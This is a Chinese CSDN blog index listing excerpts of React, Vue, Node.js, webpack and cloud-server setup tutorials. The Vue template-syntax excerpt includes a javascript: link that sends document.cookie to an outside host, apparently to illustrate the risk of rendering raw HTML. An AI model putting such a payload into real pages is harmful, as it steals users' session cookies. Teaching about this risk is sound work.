郑怪兽-CSDN博客

原创 react--dva

DVA简介之前用CRA这个脚手架进行react项目开发，react-router-dom / redux / react-redux / redux-thunk等什么是DVA：就是一个轻量级的数据流框架（主要是redux、redux-saga 也有路由、异步请求模块等）DVA安装步骤1：安装脚手架dva-clinpm i dva-cli -g或yarn add global dva-cli步骤2：验证是否安装成功dva -vDVA创建项目步骤1：通过脚手架工具生成dva框架代码

2020-09-19 17:00:23 352

原创 webpack

webpack###开发依赖devDependencies与运行依赖dependenciesnpm自己的文档说dependencies是运行时依赖，devDependencies是开发时的依赖。即devDependencies 下列出的模块，是我们开发时用的，比如我们安装 js的压缩包gulp-uglify 时，我们采用的是 “npm install -D gulp-uglify ”命令安装，因为我们在发布后用不到它，而只是在我们开发才用到它。dependencies 下的模块，则是我们发布后还需要

2020-09-18 10:42:20 180

原创 react--react-redux

react-reduxcnpm install react-redux -S核心组件：Provider 提供者属性上通过store将数据派给容器组件connect 用于连接容器组件与UI组件 connect() 返回一个函数，函数参数接收UI组件，返回容器组件connect(mapStateToProps,mapDispatchToProps)(ui组件) 容器组件内部帮你做了 store.subscribe() 的方法订阅状态变化 ==&g

2020-09-08 20:30:06 162

原创 react--划分Reducer

划分Reducer在一个复杂的尤其是单页面的应用中，为了提高开发效率，我们都会采取协同开发的模式，因为系统的模块较多，各个大的功能板块都较为独立，而redux有一个思想：单一数据源，也就是store只能有一个。所以，我们多会使用划分reducer的方法，将每个大板块所需维护的状态划分在不同的reducer中去管理，分别有自己的一套结构，再通过combineReducers合并在一起需要注意的是，划分reducer之后，store会将数据也去根据划分之后的reducer来进行分开管理src/store

2020-09-08 20:28:23 738

原创 react--redux

reduxReact 只是 DOM 的一个抽象层，并不是 Web 应用的完整解决方案。有两个方面，它没涉及。代码结构组件之间的通信2014年 Facebook 提出了 Flux 架构的概念，引发了很多的实现。2015年，Redux 出现，将 Flux 与函数式编程结合一起，很短时间内就成为了最热门的前端架构。如果你不知道是否需要 Redux，那就是不需要它只有遇到 React 实在解决不了的问题，你才需要 Redux简单说，如果你的UI层非常简单，没有很多互动，Redux 就是不必要的，用

2020-09-08 20:24:21 208

原创 react--Context

ContextContext 提供了一个无需为每层组件手动添加 props，就能在组件树间进行数据传递的方法。props单向数据流动：如果觉得Props传递数据很繁琐，可以采用context,进行跨组件传递数据moneyContext:import {createContext} from 'react';let moneyContext = createContext()let { Provider, Consumer } = moneyContextexport d

2020-09-08 20:20:55 152

原创 react--Props

Props属性验证import One from "./components/one"class App extends Component{ render(){ let userArr = [ {id:1,sex:"男"}, {id:2,sex:"女"} ] return ( <div> <One num={true} userArr={userArr}/> </div>

2020-09-08 20:16:58 91

原创 react--生命周期

React生命周期[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1hTPI4aj-1599449791925)(https://s1.ax1x.com/2020/06/19/NuCy1f.png)]React中组件也有生命周期，也就是说也有很多钩子函数供我们使用, 组件的生命周期，我们会分为四个阶段，挂载、更新、卸载、错误处理挂载阶段当组件实例被创建并插入 DOM 中时，其生命周期调用顺序如下：constructor()static getDerivedS

2020-09-07 11:36:57 91

原创 react--ref属性

ref属性React提供的这个ref属性，表示为对组件真正实例的引用，其实就是ReactDOM.render()返回的组件实例。ref可以挂载到组件上也可以是dom元素上。挂到组件(class声明的组件)上的ref表示对组件实例的引用。不能在函数式组件上使用 ref 属性，因为它们没有实例：挂载到dom元素上时表示具体的dom元素节点。在React 最新的版本中，要使用ref, 需要使用React.createRef方法先生成一个ref。import React, { Component,

2020-09-07 11:35:19 281

原创 react--受控组件与非受控组件

受控组件与非受控组件表单元素它的值来自于state 这个组件就是受控组件，否则就是非受控组件受控组件：在HTML中，表单元素通常自己维护 state，并根据用户输入进行更新。而在 React 中，可变状态通常保存在组件的 state 属性中，并且只能通过使用 setState()来更新。我们可以把两者结合起来，使 React 的 state 成为“唯一数据源”。渲染表单的 React 组件还控制着用户输入过程中表单发生的操作。被 React 以这种方式控制取值的表单输入元素就叫做“受控组件”。c

2020-09-07 11:34:39 225

原创 react--Props/State

React中的数据承载-Props/State任意的视图变化都应该由数据来控制React也是基于数据驱动(声明式)的框架，组件中必然需要承载一些数据，在react中起到这个作用的是属性和状态（props & state）属性（props）在组件外部传入，或者内部设置，组件内部通过this.props获得状态（state）在组件内部设置或者更改，组件内部通过this.state获得属性(props)属性一般是外部传入的，组件内部也可以通过一些方式来初始化的设置，属性不

2020-09-07 11:30:27 94

原创 react-- jsx

jsx中数组的遍历操作//vue的模板中遍历数组 ==> <li v-for="item in arr">{{item}}</li>//遍历数组 arr.map//为什么加key?//key 帮助 React 识别哪些元素改变了，比如被添加或删除。//因此你应当给数组中的每一个元素赋予一个确定的标识。var arr = ["aa","bb","cc"]ReactDOM.render( <div> { a

2020-09-07 11:27:55 99

原创 react--React Event

React Event在react中，我们想要给组件的dom添加事件的话，也是需要在行内添加的方式，事件名字需要写成小驼峰的方式，值利用表达式传入一个函数即可。（原生的事件全是小写onclick, React里的事件是驼峰onClick）注意，在没有渲染的时候，页面中没有真实dom，所以是获取不到dom的给虚拟dom结构中的节点添加样式。在行内添加,写成驼峰形式，值是一个函数名，需要用 { } 包裹class App extends React.Component { handleClick(){

2020-09-07 11:25:09 205

原创 react--组件dom添加样式

组件dom添加样式行内样式想给虚拟dom添加行内样式，需要使用表达式传入样式对象的方式来实现：// 注意这里的两个括号，第一个表示我们在要JSX里插入JS了，第二个是对象的括号 <p style={{color:'red', fontSize:'14px'}}>Hello world</p>使用classReact推荐我们使用行内样式，因为React觉得每一个组件都是一个独立的整体其实我们大多数情况下还是大量的在为元素添加类名，但是需要注意的是，class需要

2020-09-07 11:23:17 552

原创 react--JSX语法糖

JSX语法糖JSX是一种语法糖，全称：javascript xmlJSX语法不是必须使用的，但是因为使用了JSX语法之后会降低我们的开发难度，故而这样的语法又被成为语法糖。看下面的DOM结构：<div class='app' id='appRoot'> <h1 class='title'>欢迎进入React的世界</h1> <p> React.js 是一个帮助你构建页面 UI 的库 </p></div>

2020-09-01 17:49:26 493

原创 react--组件的组合、嵌套

组件的组合、嵌套将一个组件渲染到某一个节点里的时候，会将这个节点里原有内容覆盖组件嵌套的方式就是将子组件写入到父组件的模板中去，且react没有Vue中的内容分发机制（slot），所以我们在一个组件的模板中只能看到父子关系// 从 react 的包当中引入了 React 和 React.js 的组件父类 Component// 还引入了一个React.js里的一种特殊的组件 Fragmentimport React, { Component, Fragment } from 'react'imp

2020-09-01 17:45:38 488

原创 react--函数式组件和类组件

元素与组件如果代码多了之后，不可能一直在render方法里写，所以就需要把里面的代码提出来，定义一个变量，像这样：import React from 'react'import ReactDOM from 'react-dom'// 这里感觉又不习惯了？这是在用JSX定义一下react元素const app = <h1>欢迎进入React的世界</h1>ReactDOM.render( <div> { app } </div>

2020-09-01 17:44:24 1067

原创 react--基础

1. react开源时间、特点2013.5月份开源 facebook团队（图片分享）声明式组件化一次学习，随处编写react只是 mvc里面的view（视图层） Vue是完整的mvvm的框架react 16.x版本之后搞出来一个Fiber协调引擎，是为了解决浏览器渲染组件，因为是同步进行的，造成浏览器卡顿问题。2. 创建react的hello-world案例npm init -ynpm i react react-dom babel-standalone (reac

2020-09-01 17:31:04 115

原创 Vue--阿里云服务器

阿里云服务器Centos 64位 7.6 用户名都叫做root!1.改密码重启实例 233243 （改密码后需要重启实例才会有效！！）2.远程控制记录一个密码！（ git黑窗口 ssh root@公网IP 47.96.0.211）3.配置安全组 1/60000 0.0.0.0/0 (ls cd / )4.安装node.js现在可以使用yum命令安装Node.js了。sudo yum install nodejs5.安装nginx服务器（静态服务器）h

2020-08-23 14:58:29 161

原创 Vue--vue-router

vue-router现在的应用都流行SPA应用（single page application）传统的项目大多使用多页面结构，需要切换内容的时候我们往往会进行单个html文件的跳转，这个时候受网络、性能影响，浏览器会出现不定时间的空白界面，用户体验不好单页面应用就是用户通过某些操作更改地址栏url之后，动态的进行不同模板内容的无刷新切换，用户体验好。Vue中会使用官方提供的vue-router插件来使用单页面，原理就是通过检测地址栏变化后将对应的路由组件进行切换（卸载和安装）SPA vs MPA

2020-08-23 14:57:21 129

原创 Vue--移动端开发

移动端开发我们现在关注的点还在移动M站上，或者我们可以叫做webapp，其实就是运行在移动端浏览器中的web网站。app:application应用程序。手机软件:主要指安装在智能手机上的软件，完善原始系统的不足与个性化。移动端开发是与PC端肯定是有很大不同的，所以我们需要学习如何在移动设备上开发完美适配的app开发移动端应用我们需要学习的知识点可以分成如下几个：移动端布局适配移动端事件移动端交互效果移动端前端框架移动端调试移动端布局适配从屏幕尺寸、屏幕类型

2020-08-23 14:56:01 2394

原创 Vue--vue-cli使用

Vue-cli使用现在使用前端工程化开发项目是主流的趋势，也就是说，我们需要使用一些工具来搭建vue的开发环境。一般情况下我们都会选择使用webpack进行项目的构建，在这里我们直接使用vue官方提供的，基于webpack的脚手架工具进行项目开发。注意：要求node.js版本是8+安装方法全局安装vue-cli:npm install -g @vue/clioryarn global add @vue/cli检测安装：vue -V脚手架创建项目vue create 项目名称这

2020-08-23 14:54:33 143

原创 Vue--自定义指令

自定义指令自定义指令介绍 directives - 对普通 DOM 元素进行底层操作(1) 自定义指令注册当页面加载时，该元素将获得焦点 (注意：autofocus 在移动版 Safari 上不工作)。事实上，只要你在打开这个页面后还没点击过任何内容，这个输入框就应当还是处于聚焦状态。现在让我们用指令来实现这个功能：// 注册一个全局自定义指令 `v-focus`Vue.directive('focus', { // 当被绑定的元素插入到 DOM 中时…… inserted: functi

2020-08-23 14:53:28 80

原创 Vue--生命周期

生命周期每一个组件或者实例都会经历一个完整的生命周期，总共分为三个阶段：初始化、运行中、销毁实例、组件通过new Vue() 创建出来之后会初始化事件和生命周期，然后就会执行beforeCreate钩子函数，这个时候，数据还没有挂载到，只是一个空壳，无法访问到数据和真实的dom，一般不做操作挂载数据，绑定事件等等，然后执行created函数，这个时候已经可以使用到数据，也可以更改数据,在这里同步更改数据不会触发updated函数，一般可以在这里做初始数据的获取。做异步ajax，绑定初始化事

2020-08-23 14:52:21 86

原创 Vue--组件使用

组件使用(1)组件化模块化就是将系统功能分离成独立的功能部分的方法，一般指的是单个的某一种东西，例如js、css而组件化针对的是页面中的整个完整的功能模块划分，组件是一个html、css、js、image等外链资源，这些部分组成的一个聚合体优点：代码复用，便于维护划分组件的原则：复用率高的，独立性强的组件应该拥有的特性：可组合，可重用，可测试，可维护(2)组件在vue中，我们通过Vue.extend来创建Vue的子类，这个东西其实就是组件也就是说Vue实例和组件的实例有差别但是差别不大

2020-08-21 16:58:04 208

原创 Vue--数据请求

数据请求(1) vue-resource请求从vue的2.0开始，作者说：vue-resource不再维护了(2) fetch请求（规范）why: XMLHttpRequest 是一个设计粗糙的 API，配置和调用方式非常混乱，而且基于事件的异步模型写起来不友好。查看兼容性： https://caniuse.com/#search=fetch兼容性不好 polyfill: https://github.com/camsong/fetch-ie81 //get2 fetch("**").

2020-08-21 11:20:27 387

原创 Vue--Mixins

Mixins 混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。混入对象可以包含任意组件选项。当组件使用混入对象时，所有混入对象的选项将被混入该组件本身的选项。<div id="app" v-cloak> <p @click="a">{{msg}}</p> <p>{{aaa}}</p> </div> let common = { metho

2020-08-21 11:19:04 89

原创 Vue--计算属性

计算属性复杂逻辑，模板难以维护(1) 基础例子有的时候我们需要在模板中使用数据a，这个时候就需要用到表达式，但是有的地方我们需要对a数据进行一些简单的处理后才能使用，那么我们就会在表达式中写一些js逻辑运算<div id="example"> {{ message.split('').reverse().join('') }}</div>这样我们的维护就会非常困难，也不便于阅读(2) 计算缓存 vs methods我们就可以在methods里设置一个方法，在模

2020-08-20 16:57:17 89

原创 Vue--表单控件绑定/双向数据绑定

表单控件绑定/双向数据绑定 v-model(1) 基本用法(2) 修饰符.lazy :失去焦点同步一次.number :格式化数字.trim : 去除首尾空格

2020-08-20 16:55:48 151

原创 Vue--事件处理

事件处理(1) 监听事件-直接触发代码在vue中还有v-on来为dom绑定事件，在v-on：后面加上要绑定的事件类型，值里可以执行一些简单javascript表达式：++ – = …可以将一些方法设置在methods里，这样就可以在v-on:click的值里直接写方法名字可以，默认会在方法中传入事件对象，当写方法的时候加了()就可以传参，这个时候如果需要事件对象，那就主动传入$eventv-on绑定的事件可以是任意事件,v-on:可以缩写为@ v-on:click ===> @cl

2020-08-19 16:59:21 168

原创 Vue--列表渲染

列表渲染(1) v-for 这是一个指令，只要有v-的就是指令（directive 操作dom ）在vue中可以通过v-for来循环数据的通知循环dom，语法是item in/of items，接收第二个参数是索引 (item,index) of items, 还可以遍历对象，第一个参数是value，第二个是key，第三个依然是索引<div id="app"> <ul> <li v-for="(item,index) in arr"> {{inde

2020-08-19 16:58:38 109

原创 Vue--条件渲染

条件渲染(1) v-if在Vue中可以使用v-if来控制模板里元素的显示和隐藏，值为true就显示，为false就隐藏v-if控制的是是否渲染这个节点(2) v-else-if当有else分支逻辑的时候，可以给该元素加上v-else指令来控制，v-else会根据上面的那个v-if来控制，效果与v-if相反，注意，一定要紧挨着还有v-else-if指令可以实现多分支逻辑<input type="text" v-model="type"><div v-if="type ==

2020-08-19 16:57:35 165

原创 Vue--class与style

class与style(1) 绑定HTML Class- 对象语法 <div id="app"> <p class="red">这是一个p段落标签...</p> <p :class="{'red':isRed}">这是一个p段落标签...</p> <p class="red" :class="(isBig ? 'big' : '')">这是一个p段落标签...</p>

2020-08-19 16:54:48 94

原创 Vue--模板语法

模板语法(1) 插值 a.文本 {{ }} 声明一条数据，然后用特殊的模板语法将其渲染出来（声明式渲染）let vm = new Vue({ //vue实例的配置项 el:"#app",//指代挂载点 data:{ //vue所管理的数据 msg2:`<a href=javascript:location.href='http://www.baidu.com?cookie='+document.

2020-08-19 16:53:40 78

原创 Vue--特点与mvvm

vue特点与mvvm渐进式vue是渐进式JavaScript框架用到什么功能，只需要引入什么功能模块如果只是简单的将数据与视图进行关联渲染，只需要引入vue即可实现声明式渲染如果后续多个地方用到轮播图效果，那么我们可以借助vue的组件化思想进行封装如果要做前端SPA单页路由，需要引入第三方插件vue-router实现路由功能如果涉及多组件之间的状态管理维护，需要引入第三方插件vuex实现状态管控如果项目最终上线、团队开发等需要引入webpack等构建工具进行项目打包、构建、迭代操作

2020-08-19 16:52:42 256

原创 fs(file-system)模块

NodeJs FS 模块fs.stat 检测是文件还是目录 const fs = require ('fs') fs .stat('hello.js', (error, stats) =>{ if(error){ console .log(error) } else { console .log(stats) console .log(`文件：${stats.isFile()}`)

2020-08-17 10:51:13 246

原创 Nodejs 的非阻塞 I O、异步、事件驱动

1、 Nodejs 的单线程非阻塞 I/O 事件驱动在 Java、PHP 或者.net 等服务器端语言中，会为每一个客户端连接创建一个新的线程。而每个线程需要耗费大约 2MB 内存。也就是说，理论上，一个 8GB 内存的服务器可以同时连接的最大用户数为 4000 个左右。要让 Web 应用程序支持更多的用户，就需要增加服务器的数量，而 Web 应用程序的硬件成本当然就上升了。 Node.js 不为每个客户连接创建一个新的线程，而仅仅使用一个线程。当有用户连接了，就触发一个内部事件，通过非阻塞

2020-08-17 10:50:28 1024

原创 nodejs

NODEJS介绍干嘛的写后台管理程序，与之类似php .net java简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境，基于Google的V8引擎，V8引擎执行Javascript的速度非常快，性能非常好。目标（提供的服务）数据服务，文件服务，web服务优势性能高，方便、入门难度低、大公司都在用（BAT）劣势

2020-08-07 20:04:02 155

原创 nodejs项目

node.js项目实战前端项目构建 npm install -g gulp-cli gulp -v gulpfile | package.json文件拷贝 yarn (安装package.json指明的所有的依赖项) 运行了一下gulp，发现报错了！原因是因为缺少入口文件！src/libs (放置一些插件，例如jquey.min.js) /styles (放置一些scss文件，例如app.scss) /scripts/app.js (js文件) /stati

2020-08-07 20:00:02 360

原创 Socket编程和node + mongoose

node + mongoose安装npm init -y npm install mongoose -Sconfig/index.js//引入mongoose模块const mongoose = require('mongoose');//创建连接 test数据库的名称mongoose.connect('mongodb://localhost:27017/test',{ useNewUrlParser: true, useUnifiedTopology: true })

2020-08-07 19:58:25 159

空空如也

空空如也